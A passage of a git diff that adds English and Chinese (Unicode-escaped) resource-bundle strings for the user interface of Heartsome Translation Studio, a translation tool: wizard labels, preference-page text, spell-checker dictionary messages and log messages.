OpenOffice/LibreOffice at www.openoffice.org. +translation.TranslationPreferencePage.lblOO = Installation path for OpenOffice: +translation.TranslationPreferencePage.btnBrowse = &Browse... +#translation.TranslationPreferencePage.txtPort = \u7aef\u53e3\uff1a +#translation.TranslationPreferencePage.btnEnableAutoConvert = \u542f\u7528 +#translation.TranslationPreferencePage.msgTitle = \u63d0\u793a +#translation.TranslationPreferencePage.msg1 = \u8bf7\u5148\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u542f\u7528\u3002 +#translation.TranslationPreferencePage.msg2 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\u3002 +#translation.TranslationPreferencePage.msg3 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u8bbf\u95ee\u7aef\u53e3\u3002 + +projectsetting.ProjectSettingBaseInfoPage.title = Project Information +projectsetting.ProjectSettingBaseInfoPage.projectNameLabel = Project Name: +projectsetting.ProjectSettingBaseInfoPage.sourceLangLabel = Source Language: +projectsetting.ProjectSettingBaseInfoPage.targetlangLabel = Target Language: +projectsetting.ProjectSettingBaseInfoPage.clientText = Client: +projectsetting.ProjectSettingBaseInfoPage.companyText = Company: +projectsetting.ProjectSettingBaseInfoPage.emailText = Email: +projectsetting.ProjectSettingBaseInfoPage.remarkText = Notes: +projectsetting.ProjectSettingDialog.title = Project Settings +projectsetting.ProjectSettingLanguagePage.title = Project Language +projectsetting.ProjectSettingLanguagePage.msgTitle = Message +projectsetting.ProjectSettingLanguagePage.msg1 = Please select target languages. +projectsetting.ProjectSettingLanguagePage.msg2 = The source and target language should be different. Please reselect. +projectsetting.ProjectSettingLanguagePage.sourceLanguageGrp = &Source Language +projectsetting.ProjectSettingLanguagePage.targetLanguageGrp = &Target Language +projectsetting.ProjectSettingLanguagePage.addBtn = &Add > +projectsetting.ProjectSettingLanguagePage.deleteBtn = < &Remove +projectsetting.ProjectSettingLanguagePage.deleteAllBtn = << Re&move All + +propertyTester.MultiSelectionPropertyTester.logger1 = [LOG] \u4ece\u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 + +util.DataSourceHelper.logger1 = [LOG] \u83b7\u53d6 {0} \u5b9e\u4f8b\u65f6\u51fa\u73b0\u5f02\u5e38\u3002 +util.DataSourceHelper.logger2 = [LOG] \u5728\u5411 EditorInput \u4e2d\u4fdd\u5b58 {0} \u5bf9\u8c61\u65f6\u53d1\u751f\u5f02\u5e38\u3002 + +wizard.NewProjectWizard.title = New Project Wizard +wizard.NewProjectWizard.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.logger2 = [LOG] \u52a0\u8f7d\u8f6c\u6362\u5668\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.task1 = Creating project... +wizard.NewProjectWizard.logger3 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u65f6\u6e05\u7a7a\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger4 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u51fa\u9519 +wizard.NewProjectWizard.logger5 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger6 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u76ee\u5f55\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.task2 = Initializing project configuration information... +wizard.NewProjectWizard.task3 = Copying files... +wizard.NewProjectWizard.msgTitle = Message +wizard.NewProjectWizard.msg1 = The file already exists. Are you sure you want to Overwrite it? +wizard.NewProjectWizard.msg2 = Failed to copy file{0}. Please try again. +wizard.NewProjectWizardLanguagePage.title = Language Pairs +wizard.NewProjectWizardLanguagePage.desc = Select source language of the project and specify target languages using the "Add" and "Remove" buttons. +wizard.NewProjectWizardLanguagePage.sourceLanguageGrp = &Source Language +wizard.NewProjectWizardLanguagePage.targetLanguageGrp = &Target Language +wizard.NewProjectWizardLanguagePage.addBtn = &Add > +wizard.NewProjectWizardLanguagePage.deleteBtn = < &Remove +wizard.NewProjectWizardLanguagePage.deleteAllBtn = << Re&move All +wizard.NewProjectWizardLanguagePage.msg1 = Please select source language. +wizard.NewProjectWizardLanguagePage.msg2 = Please add at least one target language. +wizard.NewProjectWizardLanguagePage.msg3 = The source and target language should be different. Please reselect. +wizard.NewProjectWizardProjInfoPage.title = Project Information +wizard.NewProjectWizardProjInfoPage.desc = Enter the project information +wizard.NewProjectWizardProjInfoPage.projectNameText = Project N&ame: +wizard.NewProjectWizardProjInfoPage.clientText = &Client: +wizard.NewProjectWizardProjInfoPage.companyText = Co&mpany: +wizard.NewProjectWizardProjInfoPage.emailText = &Email: +wizard.NewProjectWizardProjInfoPage.remarkText = Notes: +wizard.NewProjectWizardProjInfoPage.msg1 = The project name already exists. Please enter a different name. +wizard.NewProjectWizardProjInfoPage.msg2 = The project name already exists. Please enter a different name. +wizard.NewProjectWizardSourceFilePage.title = Add Source Files +wizard.NewProjectWizardSourceFilePage.desc = Add source files to the project. +wizard.NewProjectWizardSourceFilePage.btnConvert = Convert Source Files to XLIFFs +wizard.NewProjectWizardSourceFilePage.addBtn = &Add +wizard.NewProjectWizardSourceFilePage.deleteBtn = &Remove + +######################## 2012-09-03 \u65b0\u589e\u5185\u5bb9 ####################################### +colors.ColorsPreferencePage.wrongTagColor = Error Tag Color: + +# 2012-10-18 add by jason \u6dfb\u52a0\u5b57\u4f53\u8bbe\u7f6e\u529f\u80fd +preferencepage.SystemPreferencePage.groupFont = Font +preferencepage.SystemPreferencePage.groupFont.desc = Set the font and font size for the translation window, TM match window and termbase window: + +handler.OpenMultiXliffHandler.tip1 = Opening in one tab... + +######################## 2012-11-20 ####################################### +handlers.NewProjectHandler.finishLbl = Create + +######################## 2012-11-23 ####################################### +preferencepage.ProjectPropertiesPreferencePage.title = Project Properties +preferencepage.ProjectPropertiesPreferencePage.groupField = Custom Text Field +preferencepage.ProjectPropertiesPreferencePage.imageLabel1 = Manage custom text fields for your projects: +preferencepage.ProjectPropertiesPreferencePage.lblField = Field Name: +preferencepage.ProjectPropertiesPreferencePage.btnFieldAdd = Add Text Field +preferencepage.ProjectPropertiesPreferencePage.btnFieldDel = Delete Text Field +preferencepage.ProjectPropertiesPreferencePage.groupAttr = Custom Attribute Field +preferencepage.ProjectPropertiesPreferencePage.imageLabel2 = Manage custom attribute fields for your projects. You need to specify one or more values for attribute fields: +preferencepage.ProjectPropertiesPreferencePage.lblAttrName = Field Name: +preferencepage.ProjectPropertiesPreferencePage.lblAttrVal = Value: +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameAdd = Add Attribute Field +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameDel = Delete Attribute Field +preferencepage.ProjectPropertiesPreferencePage.btnAttrValAdd = Add Value +preferencepage.ProjectPropertiesPreferencePage.btnAttrValDel = Delete Value +preferencepage.ProjectPropertiesPreferencePage.msgTitle1 = Confirm +preferencepage.ProjectPropertiesPreferencePage.msg1 = Are you sure you want to delete the selected records? +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title1 = Add Text Field +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title2 = Add Attribute Field +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title3 = Add Attribute Value +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl1 = Field Name: +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl2 = Field Name: +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl3 = Value: +preferencepage.ProjectPropertiesPreferencePage.msgTitle2 = Message +preferencepage.ProjectPropertiesPreferencePage.msg5 = The text field name already exists, please try again. +preferencepage.ProjectPropertiesPreferencePage.msg6 = The attribute field name already exists, please try again. +preferencepage.ProjectPropertiesPreferencePage.msg7 = The attribute value already exists, please try again. +wizards.NewProjectWizardProjInfoPage.groupField = Project Properties + +######################## 2012-11-26 ####################################### +wizards.NewProjectWizardProjInfoPage.colon = : +preferencepage.ProjectPropertiesPreferencePage.msg8 = Please select the field you want to delete. +preferencepage.ProjectPropertiesPreferencePage.msg9 = Please select an attribute field first, then add values for it. + +######################## 2012-11-28 ####################################### +preferencepage.ProjectPropertiesPreferencePage.btnFieldEdit = Edit Text Field +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameEdit = Edit Attribute Field +preferencepage.ProjectPropertiesPreferencePage.btnAttrValEdit = Edit Value +preferencepage.ProjectPropertiesPreferencePage.msg10 = Please select the field you want to edit. +preferencepage.ProjectPropertiesPreferencePage.msg11 = Cannot edit several fields at the same time. Please re-select the field you want to edit. +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title4 = Edit Text Field +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title5 = Edit Attribute Field +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title6 = Edit Attribute Values +preference.PreferenceUtil.logger1 = [LOG] \u83b7\u53d6\u7248\u672c\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +wizards.NewProjectWizardDialog.btnSetting = &Options... + +######################## 2012-12-04 ####################################### +preferencepage.ProjectPropertiesPreferencePage.msg12 = The field name can not be a space, please re-enter. +preferencepage.ProjectPropertiesPreferencePage.msg13 = The field name can not be a space, please re-enter. +preferencepage.ProjectPropertiesPreferencePage.msg14 = The value can not be a space, please re-enter. +preferencepage.ProjectPropertiesPreferencePage.msg15 = The length of text can not be more than 50 half-width characters(not including leading / tailing space). +wizard.NewProjectWizardProjInfoPage.msg3 = Text field value can not be spaces. +wizard.NewProjectWizardProjInfoPage.msg4 = The length of text field value can not be more than 50 half-width characters(not including leading / tailing space). + +# 2013-01-10 add by jason +colors.ColorsPreferencePage.groupTerms = Termbase Match +colors.ColorsPreferencePage.highlightedTermColor = Term Highlight Color: + +# 2013-04-08 add by jason +preferencepage.fontsetting.editor.title = Editor Font +preferencepage.fontsetting.matchView.title = TM/Termbase Matches Font + +# 2013-04-25 and by robert +NewProjectWizardProjInfoPage.valid.waring = {0} is an invalid character in resource name ''{1}''. diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_zh.properties b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_zh.properties new file mode 100644 index 0000000..0132625 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_zh.properties @@ -0,0 +1,287 @@ +composite.LanguageLabelProvider.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a + +handlers.NewFolderHandler.msgTitle = \u63d0\u793a +handlers.NewFolderHandler.msg1 = \u8bf7\u5148\u9009\u62e9\u65b0\u5efa\u6587\u4ef6\u5939\u7684\u4fdd\u5b58\u76ee\u5f55\u3002 +handlers.NewFolderHandler.msg2 = \u8bf7\u5148\u9009\u62e9\u65b0\u5efa\u6587\u4ef6\u5939\u7684\u4fdd\u5b58\u76ee\u5f55\u3002 +handlers.OpenMultiXliffHandler.msgTitle = \u63d0\u793a +handlers.OpenMultiXliffHandler.msg1 = {0} \u4e0d\u662f XLIFF \u6587\u4ef6\uff0c\u5c06\u4e0d\u4f1a\u6253\u5f00\u5b83\u3002 +handlers.OpenMultiXliffHandler.msg2 = \u65e0\u6cd5\u5408\u5e76\u6253\u5f00\u591a\u4e2a\u9879\u76ee\u7684\u6587\u4ef6\uff0c\u8bf7\u9009\u62e9\u540c\u4e00\u4e2a\u9879\u76ee\u7684 XLIFF \u6587\u4ef6\u518d\u91cd\u8bd5\u3002 +handlers.OpenMultiXliffHandler.logger1 = [LOG] \u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg3 = \u5408\u5e76\u6253\u5f00\u81f3\u5c11\u9700\u8981 2 \u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.msg4 = \u5f53\u524d\u6240\u9009\u6587\u4ef6\u5df2\u7ecf\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u8be5\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +handlers.OpenMultiXliffHandler.msgTitle2 = \u786e\u8ba4 +handlers.OpenMultiXliffHandler.msg5 = \u60f3\u8981\u5408\u5e76\u6253\u5f00\u7684 XLIFF \u6587\u4ef6\u4e2d\uff0c\u81f3\u5c11\u6709\u4e00\u4e2a\u6587\u4ef6\u5df2\u5728\u7f16\u8f91\u5668\u4e2d\u6253\u5f00\u3002\n\u786e\u5b9a\u8981\u8df3\u8fc7\u5df2\u6253\u5f00\u7684\u6587\u4ef6\uff0c\u7ee7\u7eed\u5408\u5e76\u6253\u5f00\u5176\u4ed6\u6587\u4ef6\u5417\uff1f\n\n\u82e5\u4e00\u5b9a\u8981\u5408\u5e76\u6253\u5f00\u672c\u6b21\u9009\u4e2d\u7684\u6240\u6709\u6587\u4ef6\uff0c\u8bf7\u5148\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u6309\u94ae\u3001\u5173\u95ed\u6240\u6709\u5df2\u6253\u5f00\u7684\u6587\u4ef6\uff0c\u7136\u540e\u518d\u9009\u62e9\u6587\u4ef6\u5408\u5e76\u6253\u5f00\u3002 +handlers.OpenMultiXliffHandler.msg6 = \u5408\u5e76\u6253\u5f00\u81f3\u5c11\u9700\u8981 2 \u4e2a XLIFF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.msg7 = \u65e0\u6cd5\u6253\u5f00\uff1a\u9009\u4e2d\u7684\u6587\u4ef6\u542b\u591a\u4e2a\u4e0d\u540c\u7684\u8bed\u8a00\u5bf9\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +handlers.OpenMultiXliffHandler.logger2 = [LOG] \u5408\u5e76\u6253\u5f00\u4e34\u65f6\u6587\u4ef6\u5220\u9664\u5931\u8d25 +handlers.OpenMultiXliffHandler.logger3 = [LOG] \u5408\u5e76\u6253\u5f00\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg8 = \u5408\u5e76\u6253\u5f00\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +handlers.ProjectSettingHandler.msgTitle = \u63d0\u793a +handlers.ProjectSettingHandler.msg1 = \u8bf7\u5148\u9009\u62e9\u4e00\u4e2a\u9879\u76ee\u3002 +handlers.ProjectSettingHandler.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 + +innertag.SegmentViewer.msg1 = \u65e0\u6cd5\u5220\u9664\u6e90\u6587\u4e2d\u7684\u6807\u8bb0\u3002 + +preferencepage.SystemPreferenceInitializer.logger1 = [LOG] \u672a\u627e\u5230\u4ea7\u54c1\u7684 ini \u6587\u4ef6 +preferencepage.SystemPreferencePage.title = \u7cfb\u7edf +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = \u4e00 +preferencepage.SystemPreferencePage.Tue = \u4e8c +preferencepage.SystemPreferencePage.Wed = \u4e09 +preferencepage.SystemPreferencePage.Thu = \u56db +preferencepage.SystemPreferencePage.Fri = \u4e94 +preferencepage.SystemPreferencePage.Sat = \u516d +preferencepage.SystemPreferencePage.Sun = \u65e5 +preferencepage.SystemPreferencePage.groupCommon = \u81ea\u52a8\u66f4\u65b0 +preferencepage.SystemPreferencePage.imageLabel1 = \u5b9a\u671f\u81ea\u52a8\u68c0\u67e5\u672c\u8f6f\u4ef6\u662f\u5426\u6709\u66f4\u65b0\uff1a +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = \u542f\u52a8\u65f6 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = \u6bcf\u6708 +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \u53f7 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = \u6bcf\u5468 +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = \u4ece\u4e0d +preferencepage.SystemPreferencePage.groupLanguage = \u754c\u9762\u8bed\u8a00 +preferencepage.SystemPreferencePage.imageLabel3 = \u6539\u53d8\u754c\u9762\u8bed\u8a00\u540e\uff0c\u9700\u8981\u91cd\u542f\u8f6f\u4ef6\u624d\u80fd\u751f\u6548\uff1a +preferencepage.SystemPreferencePage.btnLanguageWithEN = \u82f1\u6587 +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = \u7b80\u4f53\u4e2d\u6587 +preferencepage.SystemPreferencePage.groupSystemUser = \u7528\u6237\u540d +preferencepage.SystemPreferencePage.imageLabel4 = \u5728\u66f4\u65b0\u8bb0\u5fc6\u5e93\u65f6\uff0c\u4f7f\u7528\u8be5\u7528\u6237\u540d\u4f5c\u4e3a\u7ffb\u8bd1\u5355\u5143\u7684\u521b\u5efa\u8005/\u4fee\u6539\u8005\uff1a +preferencepage.SystemPreferencePage.lblUser = \u7528\u6237\u540d\uff1a +preferencepage.SystemPreferencePage.msgTitle = \u63d0\u793a +preferencepage.SystemPreferencePage.msgInfo = \u60a8\u5df2\u7ecf\u4fee\u6539\u4e86\u754c\u9762\u8bed\u8a00\uff0c\u8be5\u8bbe\u7f6e\u9700\u8981\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u624d\u4f1a\u751f\u6548\u3002\u73b0\u5728\u91cd\u542f\u5417\uff1f +preferencepage.KeysPreferencePage.groupParent = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.imageLabel = \u8981\u81ea\u5b9a\u4e49\u67d0\u4e2a\u529f\u80fd\u7684\u5feb\u6377\u952e\uff0c\u8bf7\u5355\u51fb\u8be5\u529f\u80fd\u7684\u201c\u5feb\u6377\u952e\u201d\u5355\u5143\u683c\u8fdb\u5165\u7f16\u8f91\u72b6\u6001\uff0c\u7136\u540e\u6309\u4e0b\u6240\u9700\u7684\u5feb\u6377\u952e\u7ec4\u5408\uff0c\u70b9\u51fb\u5176\u4ed6\u5730\u65b9\u9000\u51fa\u7f16\u8f91\u72b6\u6001\u5373\u53ef\u3002\u82e5\u8be5\u5feb\u6377\u952e\u7ec4\u5408\u5df2\u88ab\u5176\u4ed6\u529f\u80fd\u4f7f\u7528\uff0c\u5219\u8be5\u884c\u4f1a\u663e\u793a\u4e3a\u7ea2\u8272\u3002 +preferencepage.KeysPreferencePage.toolCategory = \u5de5\u5177 +preferencepage.KeysPreferencePage.toolbarCategory = \u5de5\u5177\u680f +preferencepage.KeysPreferencePage.helpCategory = \u5e2e\u52a9 +preferencepage.KeysPreferencePage.commandNameColumn = \u529f\u80fd +preferencepage.KeysPreferencePage.triggerSequenceColumn = \u5feb\u6377\u952e +preferencepage.KeysPreferencePage.categoryColumn = \u7c7b\u522b +preferencepage.KeysPreferencePage.msgTitle = \u63d0\u793a +preferencepage.KeysPreferencePage.msg = \u5feb\u6377\u952e\u7684\u8bbe\u7f6e\u5b58\u5728\u51b2\u7a81\uff0c\u8bf7\u4fee\u6539\u663e\u793a\u4e3a\u7ea2\u8272\u80cc\u666f\u7684\u529f\u80fd\u5feb\u6377\u952e\u3002 + +colors.ColorsPreferencePage.groupTrans = \u673a\u5668\u7ffb\u8bd1 +colors.ColorsPreferencePage.QT = \u5feb\u901f\u7ffb\u8bd1\uff1a +colors.ColorsPreferencePage.groupMatch = \u8bb0\u5fc6\u5e93\u5339\u914d +colors.ColorsPreferencePage.match101 = \u4e0a\u4e0b\u6587\u5339\u914d\uff1a +colors.ColorsPreferencePage.match100 = \u5b8c\u5168\u5339\u914d\uff1a +colors.ColorsPreferencePage.match90 = 90~99% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match80 = 80~89% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match70 = 70~79% \u5339\u914d\uff1a +colors.ColorsPreferencePage.match0 = \u4f4e\u4e8e 70% \u5339\u914d\uff1a +colors.ColorsPreferencePage.groupTag = \u6807\u8bb0 +colors.ColorsPreferencePage.tagForground = \u6807\u8bb0\u5e8f\u53f7\u989c\u8272\uff1a +colors.ColorsPreferencePage.tagBackground = \u9ed8\u8ba4\u6807\u8bb0\u989c\u8272\uff1a +colors.ColorsPreferencePage.groupSource = \u5dee\u5f02\u6587\u672c +colors.ColorsPreferencePage.SourceForground = \u5dee\u5f02\u6587\u672c\u80cc\u666f\u8272\uff1a +colors.ColorsPreferencePage.SourceBackground = \u5dee\u5f02\u6587\u672c\u524d\u666f\u8272\uff1a + +dictionaries.InternalDictionaresPreferencePage.title = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.InternalDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.InternalDictionaresPreferencePage.groupParent = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.InternalDictionaresPreferencePage.imageLabel = \u4e0b\u8f7d\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u8bcd\u5178\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +dictionaries.InternalDictionaresPreferencePage.lblDic = \u8bcd\u5178\uff1a +dictionaries.InternalDictionaresPreferencePage.btnDownloadDic = \u4e0b\u8f7d(&D) +dictionaries.InternalDictionaresPreferencePage.lblLang = \u8bed\u8a00\uff1a +dictionaries.InternalDictionaresPreferencePage.btnAddList = \u6dfb\u52a0(&A) +dictionaries.InternalDictionaresPreferencePage.btnRemoveList = \u79fb\u9664(&R) +dictionaries.InternalDictionaresPreferencePage.arrTableHeader1 = \u8bed\u8a00 +dictionaries.InternalDictionaresPreferencePage.arrTableHeader2 = \u8bcd\u5178 +dictionaries.InternalDictionaresPreferencePage.logger1 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.InternalDictionaresPreferencePage.msgTitle = \u63d0\u793a +dictionaries.InternalDictionaresPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +dictionaries.InternalDictionaresPreferencePage.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.InternalDictionaresPreferencePage.logger3 = [LOG] \u590d\u5236\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dictionaries.InternalDictionaresPreferencePage.msg2 = \u8bfb\u53d6\u8bcd\u5178\u5217\u8868\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff1a{0}\n\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio\u3002 +dictionaries.DictionaryList.Title = \u4e0b\u8f7d\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u8bcd\u5178 +dictionaries.DictionaryList.langname = \u8bed\u8a00 +dictionaries.DictionaryList.filename = \u6587\u4ef6 +dictionaries.DictionaryList.HS = \u4ece Heartsome \u4e0b\u8f7d +dictionaries.DictionaryList.OOo = \u4ece OpenOffice.org \u4e0b\u8f7d +dictionaries.DictionaryList.download = \u4e0b\u8f7d(&D) +dictionaries.DictionaryList.refresh = \u5237\u65b0(&R) +dictionaries.DictionaryList.cancel = \u5173\u95ed +dictionaries.DictionaryList.msgTitle = \u63d0\u793a +dictionaries.DictionaryList.msg1 = \u8bf7\u9009\u62e9\u8981\u4e0b\u8f7d\u7684\u8bcd\u5178\u3002 +dictionaries.DictionaryList.msg2 = \u68c0\u7d22\u8bcd\u5178\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a{0} +dictionaries.DictionaryList.msg3 = \u5df2\u6210\u529f\u4e0b\u8f7d\u9009\u62e9\u7684\u8bcd\u5178\u3002 +dictionaries.DictionaryList.msg4 = \u68c0\u7d22\u5217\u8868\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a{0} +dictionaries.AspellDictionaresPreferencePage.title = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.AspellDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.AspellDictionaresPreferencePage.groupParent = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +dictionaries.AspellDictionaresPreferencePage.imageLabel = \u8bbe\u7f6e Aspell \u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +dictionaries.AspellDictionaresPreferencePage.lblPath = \u8def\u5f84\uff1a +dictionaries.AspellDictionaresPreferencePage.btnBrowse = \u6d4f\u89c8(&B)... +dictionaries.AspellDictionaresPreferencePage.btnUTF8 = \u4f7f\u7528 UTF-8 +dictionaries.AspellDictionaresPreferencePage.lblDic = \u8bcd\u5178\uff1a +dictionaries.AspellDictionaresPreferencePage.btnRefresh = \u5237\u65b0(&F) +dictionaries.AspellDictionaresPreferencePage.lblLang = \u8bed\u8a00\uff1a +dictionaries.AspellDictionaresPreferencePage.btnAdd = \u6dfb\u52a0(&A) +dictionaries.AspellDictionaresPreferencePage.btnRemove = \u79fb\u9664(&R) +dictionaries.AspellDictionaresPreferencePage.arrTableHeader1 = \u8bed\u8a00 +dictionaries.AspellDictionaresPreferencePage.arrTableHeader2 = \u8bcd\u5178 +dictionaries.AspellDictionaresPreferencePage.logger1 = [LOG] \u89e3\u6790 aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +dictionaries.AspellDictionaresPreferencePage.btnBrowse.Title = \u9009\u62e9 Aspell \u7a0b\u5e8f +dictionaries.AspellDictionaresPreferencePage.logger2 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +dictionaries.AspellDictionaresPreferencePage.msgTitle = \u63d0\u793a +dictionaries.AspellDictionaresPreferencePage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +dictionaries.AspellDictionaresPreferencePage.msg2 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +dictionaries.AspellDictionaresPreferencePage.logger3 = [LOG] \u521b\u5efa aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +dictionaries.AspellDictionaresPreferencePage.logger4 = [LOG] \u5199\u5165 aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 + +translation.TranslationPreferencePage.title = \u7ffb\u8bd1 +translation.TranslationPreferencePage.group = \u81ea\u52a8\u529f\u80fd +translation.TranslationPreferencePage.imageLabel = \u7ffb\u8bd1\u65f6\u9700\u8981\u81ea\u52a8\u6267\u884c\u7684\u529f\u80fd\uff1a +translation.TranslationPreferencePage.btnAutoAdaptSpacePosition = \u63a5\u53d7\u5339\u914d\u65f6\u8c03\u6574\u7a7a\u683c +translation.TranslationPreferencePage.btnAutoApplyTmMatch = \u65e0\u8bd1\u6587\u65f6\u63a5\u53d7\u6700\u9ad8 TM \u5339\u914d +translation.TranslationPreferencePage.btnCopyToTarget = \u65e0\u5339\u914d\u65f6\u590d\u5236\u6e90\u6587\u4e3a\u8bd1\u6587 +translation.TranslationPreferencePage.btnAutoQuickTranslation = \u81ea\u52a8\u5feb\u901f\u7ffb\u8bd1 +translation.TranslationPreferencePage.openOfficeGroup = MS Office 2003 \u6587\u6863\u652f\u6301 +translation.TranslationPreferencePage.imageLabel2 = \u4f7f\u7528\u514d\u8d39\u7684 OpenOffice/LibreOffice \u95f4\u63a5\u652f\u6301 MS Office 2003 \u6587\u6863\u7684\u8f6c\u6362\uff0c\u8be5\u8f6f\u4ef6\u53ef\u4ee5\u5728 www.openoffice.org \u4e0b\u8f7d\uff1a +translation.TranslationPreferencePage.lblOO = OpenOffice \u5b89\u88c5\u8def\u5f84\uff1a +translation.TranslationPreferencePage.btnBrowse = \u6d4f\u89c8(&B)... +#translation.TranslationPreferencePage.txtPort = \u7aef\u53e3\uff1a +#translation.TranslationPreferencePage.btnEnableAutoConvert = \u542f\u7528 +#translation.TranslationPreferencePage.msgTitle = \u63d0\u793a +#translation.TranslationPreferencePage.msg1 = \u8bf7\u5148\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u542f\u7528\u3002 +#translation.TranslationPreferencePage.msg2 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\u3002 +#translation.TranslationPreferencePage.msg3 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice 